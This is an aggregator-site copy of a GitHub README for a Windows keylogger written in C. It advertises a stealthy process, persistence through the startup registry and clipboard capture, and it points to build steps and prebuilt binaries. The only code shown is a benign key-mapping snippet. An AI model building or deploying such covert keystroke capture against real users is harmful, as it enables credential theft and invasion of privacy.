79

GitHub - vim2meta/keylogger: A powerful C keylogger for Windows.

 6 years ago
source link: https://github.com/vim2meta/keylogger
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

README.md

Build Status Codacy Badge License Release

Features

  • Stealthy process
  • Automatically added to startup registry
  • Keyboard locale support
  • Special characters and numeric keypad
  • Clipboard parsing on Ctrl + V
  • Supports Windows XP, Vista, 8 and 10

Configuration

You may configure the name of the logging file in the config.h file as well as what should be logged for each virtual-key code by modifying the keylogger.c file.

LPCWSTR get_virtual_key_value(DWORD vk_code) 
{
	switch (vk_code) {
	case VK_RETURN:
		return L"\r\n";
	case VK_ESCAPE:
		return L"[ESC]";
	case VK_BACK:
		return L"[BACKSPACE]";
	default:
		return NULL;
	}
}

Build

Visual Studio 2017 is required to load the solution. However, the project may be compiled by any Windows C11 compiler. The required Windows libraries are Kernel32.lib, User32.lib and Advapi32.lib.

If you do not wish to build the project yourself, you may use the prebuilt binaries available here: https://github.com/vim2meta/Keylogger/releases.

Contributing

All contributions are welcome. If you are going to submit a pull request, please follow the style of the project and aim for clear and concise code.


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK